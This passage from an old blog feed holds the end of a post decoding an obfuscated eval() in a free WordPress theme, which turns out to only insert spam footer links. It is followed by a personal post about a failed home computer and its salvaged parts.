    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">118</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">5</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">77</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">36</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">109</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">41</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">124</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">17</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">122</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">17</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">44</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">10</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">34</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">21</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">45</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">9</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">123</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">5</span>
<span style="color: #66cc66;">&#41;</span>
&nbsp;</pre>
<p>The minimum is 13, and the max is 127, so these do fit nicely on an ASCII table. Now, 13 is a LOT smaller than I expected (down at carriage return), but such is life. Sorted it looks a bit better, but doesn't map nicely to the <a href="http://www.asciitable.com/">ASCII values</a> I'd hoped to see the most of.</p>
<pre class="php">&nbsp;
<a href="http://www.php.net/array"><span style="color: #000066;">Array</span></a>
<span style="color: #66cc66;">&#40;</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">13</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">630</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">14</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1161</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">32</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1487</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">33</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">442</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">34</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">21</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">35</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">349</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">36</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">70</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">37</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">305</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">39</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">7322</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">40</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1630</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">41</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">886</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">42</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">688</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">43</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3496</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">44</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">10</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">45</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">9</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">46</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">127</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">47</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">127</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">48</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">37</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">49</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">34</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">74</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">51</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">94</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">52</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">82</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">53</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">110</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">54</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">153</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">55</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">105</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">56</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">57</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">100</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">58</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">227</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">59</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">93</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">577</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">61</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">391</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">27</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">63</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">30</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">64</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">213</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">65</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">243</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">66</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">354</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">67</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">209</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">68</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">172</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">69</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">438</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">70</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">297</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">72</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">101</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">73</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">169</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">74</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">153</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">75</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">103</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">76</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">337</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">77</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">36</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">78</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">59</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">79</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">425</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">80</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">271</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">81</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">130</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">82</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">79</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">83</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">386</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">84</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">541</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">85</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">163</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">86</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">87</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">187</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">88</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">414</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">89</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">90</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">19</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">92</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">19</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">93</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">47</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">95</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">10</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">96</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1525</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">97</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">635</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">98</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">8490</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">99</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1773</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2031</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">101</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1112</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">102</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4179</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">104</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2476</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">105</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4299</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">106</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1421</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">107</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3064</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">108</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1170</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">109</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">41</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">110</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3057</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">111</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">2748</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">112</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1295</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">113</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">313</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">114</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3197</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">115</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4404</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">116</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">3241</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">117</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">4419</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">118</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">5</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">119</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1110</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">122</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">17</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">123</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">5</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">124</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">17</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">125</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">766</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">126</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">198</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">127</span><span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">186</span>
<span style="color: #66cc66;">&#41;</span>
&nbsp;</pre>
<p>Thankfully we're not done yet, notice that these values are called along with a ^0x07... so maybe if we change the list to reflect this operation it'll look better. In order to make it tidy, and to continue the assumption, I've substituted the character for the integer.</p>
<pre class="php">&nbsp;
<a href="http://www.php.net/array"><span style="color: #000066;">Array</span></a>
<span style="color: #66cc66;">&#40;</span>
    <span style="color: #66cc66;">&#91;</span>&lt;tab&gt;<span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">1161</span>
    <span style="color: #66cc66;">&#91;</span>
&lt;line feed&gt;<span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">630</span>
    <span style="color: #66cc66;">&#91;</span> <span style="color: #66cc66;">&#93;</span> =&gt; <span style="color: #cc66cc;">7322</span>
    <span style="color: #66cc66;">&#91;</span><span style="color: #ff0000;">&quot;] =&gt; 305
    [#] =&gt; 70
    [$] =&gt; 349
    [%] =&gt; 21
    [&amp;] =&gt; 442
    ['] =&gt; 1487
    [(] =&gt; 127
    [)] =&gt; 127
    [*] =&gt; 9
    [+] =&gt; 10
    [,] =&gt; 3496
    [-] =&gt; 688
    [.] =&gt; 886
    [/] =&gt; 1630
    [0] =&gt; 105
    [1] =&gt; 153
    [2] =&gt; 110
    [3] =&gt; 82
    [4] =&gt; 94
    [5] =&gt; 74
    [6] =&gt; 34
    [7] =&gt; 37
    [8] =&gt; 30
    [9] =&gt; 27
    [:] =&gt; 391
    [;] =&gt; 577
    [&lt;] =&gt; 93
    [=] =&gt; 227
    [&gt;] =&gt; 100
    [?] =&gt; 1
    [A] =&gt; 297
    [B] =&gt; 438
    [C] =&gt; 172
    [D] =&gt; 209
    [E] =&gt; 354
    [F] =&gt; 243
    [G] =&gt; 213
    [H] =&gt; 425
    [I] =&gt; 59
    [J] =&gt; 36
    [K] =&gt; 337
    [L] =&gt; 103
    [M] =&gt; 153
    [N] =&gt; 169
    [O] =&gt; 101
    [P] =&gt; 187
    [Q] =&gt; 2
    [R] =&gt; 163
    [S] =&gt; 541
    [T] =&gt; 386
    [U] =&gt; 79
    [V] =&gt; 130
    [W] =&gt; 271
    [X] =&gt; 10
    [Z] =&gt; 47
    [[] =&gt; 19
    []] =&gt; 19
    [^] =&gt; 3
    [_] =&gt; 414
    [a] =&gt; 4179
    [b] =&gt; 1112
    [c] =&gt; 2031
    [d] =&gt; 1773
    [e] =&gt; 8490
    [f] =&gt; 635
    [g] =&gt; 1525
    [h] =&gt; 2748
    [i] =&gt; 3057
    [j] =&gt; 41
    [k] =&gt; 1170
    [l] =&gt; 3064
    [m] =&gt; 1421
    [n] =&gt; 4299
    [o] =&gt; 2476
    [p] =&gt; 1110
    [q] =&gt; 5
    [r] =&gt; 4419
    [s] =&gt; 3241
    [t] =&gt; 4404
    [u] =&gt; 3197
    [v] =&gt; 313
    [w] =&gt; 1295
    [x] =&gt; 186
    [y] =&gt; 198
    [z] =&gt; 766
    [{] =&gt; 17
    [|] =&gt; 5
    [}] =&gt; 17
)
</span></pre>
<p>This looks good to me. notice the matched braces (17 each), matched parens (127 each), and almost matched carrots (93 and 100). Also take note that there's much more lowercase than uppercase letters, and that lowercase 'e' is far above the other letters, implying this has English words (or at least English something) in it. </p>
<p>And again we end up with a nasty large for loop, completely worthless to try to step through:</p>
<pre class="php">&nbsp;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;<span style="color: #cc66cc;">83760</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$i</span>.=<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$h</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
&nbsp;</pre>
<p>83760 steps in that loop, building whatever it is we're going to eval at the end char by char! I'm going to cheat again, run the loop, <a href="http://pastebin.com/f68e4fad1">spit out the result</a>, and die before the eval. Looks like 632 lines of... more php! Yay, this time its not obfuscated!</p>
<p>It starts off with 410 lines of 4 arrays of URLs, most appearing German. After that it does some work on your domain name and the requested page, then does some work on all of the above to pull out specific URLs to seed your footer with. They were nice enough to include a $debug flag, which I turned on, and ran on a different site that I wasn't too worried about. Here's the spit out:</p>
<pre>&nbsp;
host: thievestavern.com
uri: /final_code.php
numbers: 0
&nbsp;
final_code.php
url: thievestavern.com/final_code.php
url_base64: dGhpZXZlc3RhdmVybi5jb20vZmluYWxfY29kZS5waHA=
url_zahl: 20295
&nbsp;
array_a_count: 22
array_b_count: 90
array_c_count: 87
array_d_count: 145
array_e_count: 2
url_count: 32
&nbsp;
crc32 url: -1485503542
intval(crc32 count): 1485503542
&nbsp;
count_a (url_count + numbers): 03542
&nbsp;
count_a % array_a_count: 03542 % 22
count_a (Rest nach Teilung): 0
&nbsp;
count_b (url_count + numbers): 03542
&nbsp;
count_b % array_b_count: 03542 % 90
count_b (Rest nach Teilung): 32
&nbsp;
count_c (url_count + numbers): 03542
&nbsp;
count_c % array_c_count: 03542 % 87
count_c (Rest nach Teilung): 62
&nbsp;
count_d (url_count + numbers): 03542
&nbsp;
count_d % array_d_count: 03542 % 145
count_d (Rest nach Teilung): 62
&nbsp;
count_e (url_count + numbers): 03542
&nbsp;
count_e % array_e_count: 03542 % 2
count_e (Rest nach Teilung): 0
&nbsp;
url_zahl % anchor_1_count: 20295 % 6
&nbsp;
url_zahl_rest_1: 3
anchor_1_count: 6
&nbsp;
url_zahl_rest_2: 2
anchor_2_count: 7
&nbsp;
url_zahl_rest_3: 5
anchor_3_count: 10
&nbsp;
url_zahl_rest_4: 0
anchor_4_count: 11
&nbsp;
url_zahl_rest_5: 2
anchor_5_count: 7
&nbsp;
count: 03542
//Links were spit out here... I'm not including them as
//I don't want to advertise for random people
&nbsp;</pre>
<p><strong>Conclusions</strong><br />
I'm considering this question solved. The obfuscated piece of junk that was residing in my footer turns out to be nothing more than a very paranoid way to put links into the footer. Its handy as it'll be hard to automatically figure out which sites have these spam footers (if I couldn't do <a href="http://www.google.com/#hl=en&safe=off&q=%22WARNING%3A+This+file+is+protected+by+copyright+law.+To+reverse+engineer+or+decode+this+file+is+strictly+prohibited.+%22&aq=f&oq=&aqi=&fp=DkheYKZULkw">this</a>), it also intimidates the normal user to not remove the links. This is fairly clever, and involved, and a nice feature is that they can simply change the $o to get a whole new set of links to spit out, or to change the footer's design. I'll give them props for that.</p>
<p>All of the above makes me say that <a href="http://themespack.com">themespack.com</a> isn't really interested in putting good free (as in freedom, and beer) themes into the hands of bloggers, they're more interested in themselves. Can I fault them? No. However, I do take issue with trying to hide behind 'copyright' to prevent me from changing the links on my own blog. </p>
<p>If you get one of these themes I'd highly recommend you do the following: Go into the footer, and remove the 'alignleft' div. Put in a 'theme created by <so and so>' link, and then give yourself credit for editing it. As is your right under the GPL. I'd love to say to run the script and give credit to the supposed creators, but those end up being random German companies, clearly not people in the business of writing PHP.</p>
<p>Oh, and for the record, all of the above is what the server does when it runs the PHP code, so I'm not reverse engineering it anymore than a few calls to base64_decode does. </p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2009/06/04/evil-eval/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Rest in Pieces, Old Friend</title>
		<link>http://thesnarky.com/2009/03/13/rest-in-pieces-old-friend/</link>
		<comments>http://thesnarky.com/2009/03/13/rest-in-pieces-old-friend/#comments</comments>
		<pubDate>Sat, 14 Mar 2009 02:01:45 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>

		<guid isPermaLink="false">http://thesnarky.com/?p=278</guid>
		<description><![CDATA[This has been a fairly bad week for me. One thing seemed to pile on to another in typical avalanche fashion. One of the worst bits was Monday, when Blade died. I'm fairly certain a nasty static shock through the USB port is what did it.

Blade is the system that started as a pure gaming rig, back in January 2005, and quickly became my full-time Linux do-everything box. It was my first 'new' build, all the others had been with scavenged parts. It seems cheesy, but tonight I'm dismantling her and I feel pretty sad, actually. This computer went through 3 power supplies, but otherwise had no mechanical issues. I ended up adding 2 hard drives to have almost a Terabyte of storage on there, an extra 2GB of RAM, a 'new' (at the time) GeForce 6800XT, and logged untold thousands of hours of gaming on her. LAN parties too numerous to count, dozens (hundreds including stuff for school) of software projects, and just about all my Walraven programming was done from her keyboard. Her uptime (aside from a summer in storage while I was out of the country) was probably up around 95%, not 5 9's but everything I ever asked for. Honestly, it was to the point where when I finally graduated and got a place with an office separate from my bedroom I'd wake up and wonder why she was off (as I couldn't see the running-lights). Now she's sitting in pieces on my floor as I part out what's good, and what's bad. 

Living for another build:
<ul>
	<li>All the small bits: Screws, Jumpers, CMOS battery, etc.</li>
	<li>Case... she's served me well.</li>
	<li>Hard Drives, no data corruption that I know of.</li>
	<li>CD-ROM, still good but ordered a new one anyhow to get SATA.</li>
	<li>Peripherals, I may have damaged my USB mouse, but I think the others still work.</li>
	<li>RAM, its still good, and decent stuff too!</li>
	<li>Video card will definitely find a new home, she's still great!</li>
	<li>Heat sink, SPU had a nice heatsink, might as well keep that.</li>
</ul>




Bound for the scrap heap:
<ul>
	<li>PSU. When I plug a power cord in I get big blue sparks off the back power switch.</li>
	<li>Motherboard, although she won't hit the trash yet. I'm thinking of making a display for it.</li>
	<li>CPU. I don't have a spare board to test and see if its still good. If I can nab one off a friend I'll test, but otherwise this is gone.</li>
</ul>



What I ordered:
<ul>
	<li>Motherboard: obviously need a new one of these.</li>
	<li>RAM, my old stuff is DDR, need to get at least DDR2 for a new motherboard.</li>
	<li>CPU, again an old form factor just can't be found on modern boards.</li>
	<li>CD-ROM, I need a SATA CD-ROM as the new mobo only has one IDE slot and I have two IDE drives (yes, still).</li>
	<li>PSU, nice new 630W with a good long warranty!</li>

</ul>

The above should get me back up and running nicely, though in the future I'll be picking up a PCI-E video card (my old ones are all AGP) so I can run monitors dual-head. Have a nice 9800GT (my old card's big brother, XFS) picked out for early May, I think. This is money I did not want to have to spend now, so the optional pieces are waiting. I think that once I get the system up and running I'm going to do a nice reformat to clean up all the drives (begs the question of where I'll keep the data) and start from scratch. I'll consider it a new build, and let the name 'Blade' go to rest.

With all that said, I'll go back to dealing with the remains. If anyone knows of fun ways to display a motherboard, let me know. I want to honor this build somehow.

Good night, friend.]]></description>
			<content:encoded><![CDATA[<p>This has been a fairly bad week for me. One thing seemed to pile on to another in typical avalanche fashion. One of the worst bits was Monday, when Blade died. I'm fairly certain a nasty static shock through the USB port is what did it.</p>
<p>Blade is the system that started as a pure gaming rig, back in January 2005, and quickly became my full-time Linux do-everything box. It was my first 'new' build, all the others had been with scavenged parts. It seems cheesy, but tonight I'm dismantling her and I feel pretty sad, actually. This computer went through 3 power supplies, but otherwise had no mechanical issues. I ended up adding 2 hard drives to have almost a Terabyte of storage on there, an extra 2GB of RAM, a 'new' (at the time) GeForce 6800XT, and logged untold thousands of hours of gaming on her. LAN parties too numerous to count, dozens (hundreds including stuff for school) of software projects, and just about all my Walraven programming was done from her keyboard. Her uptime (aside from a summer in storage while I was out of the country) was probably up around 95%, not 5 9's but everything I ever asked for. Honestly, it was to the point where when I finally graduated and got a place with an office separate from my bedroom I'd wake up and wonder why she was off (as I couldn't see the running-lights). Now she's sitting in pieces on my floor as I part out what's good, and what's bad. </p>
<p>Living for another build:</p>
<ul>
<li>All the small bits: Screws, Jumpers, CMOS battery, etc.</li>
<li>Case... she's served me well.</li>
<li>Hard Drives, no data corruption that I know of.</li>
<li>CD-ROM, still good but ordered a new one anyhow to get SATA.</li>
<li>Peripherals, I may have damaged my USB mouse, but I think the others still work.</li>
<li>RAM, its still good, and decent stuff too!</li>
<li>Video card will definitely find a new home, she's still great!</li>
<li>Heat sink, SPU had a nice heatsink, might as well keep that.</li>
</ul>
<p>Bound for the scrap heap:</p>
<ul>
<li>PSU. When I plug a power cord in I get big blue sparks off the back power switch.</li>
<li>Motherboard, although she won't hit the trash yet. I'm thinking of making a display for it.</li>
<li>CPU. I don't have a spare board to test and see if its still good. If I can nab one off a friend I'll test, but otherwise this is gone.</li>
</ul>
<p>What I ordered:</p>
<ul>
<li>Motherboard: obviously need a new one of these.</li>
<li>RAM, my old stuff is DDR, need to get at least DDR2 for a new motherboard.</li>
<li>CPU, again an old form factor just can't be found on modern boards.</li>
<li>CD-ROM, I need a SATA CD-ROM as the new mobo only has one IDE slot and I have two IDE drives (yes, still).</li>
<li>PSU, nice new 630W with a good long warranty!</li>
</ul>
<p>The above should get me back up and running nicely, though in the future I'll be picking up a PCI-E video card (my old ones are all AGP) so I can run monitors dual-head. Have a nice 9800GT (my old card's big brother, XFS) picked out for early May, I think. This is money I did not want to have to spend now, so the optional pieces are waiting. I think that once I get the system up and running I'm going to do a nice reformat to clean up all the drives (begs the question of where I'll keep the data) and start from scratch. I'll consider it a new build, and let the name 'Blade' go to rest.</p>
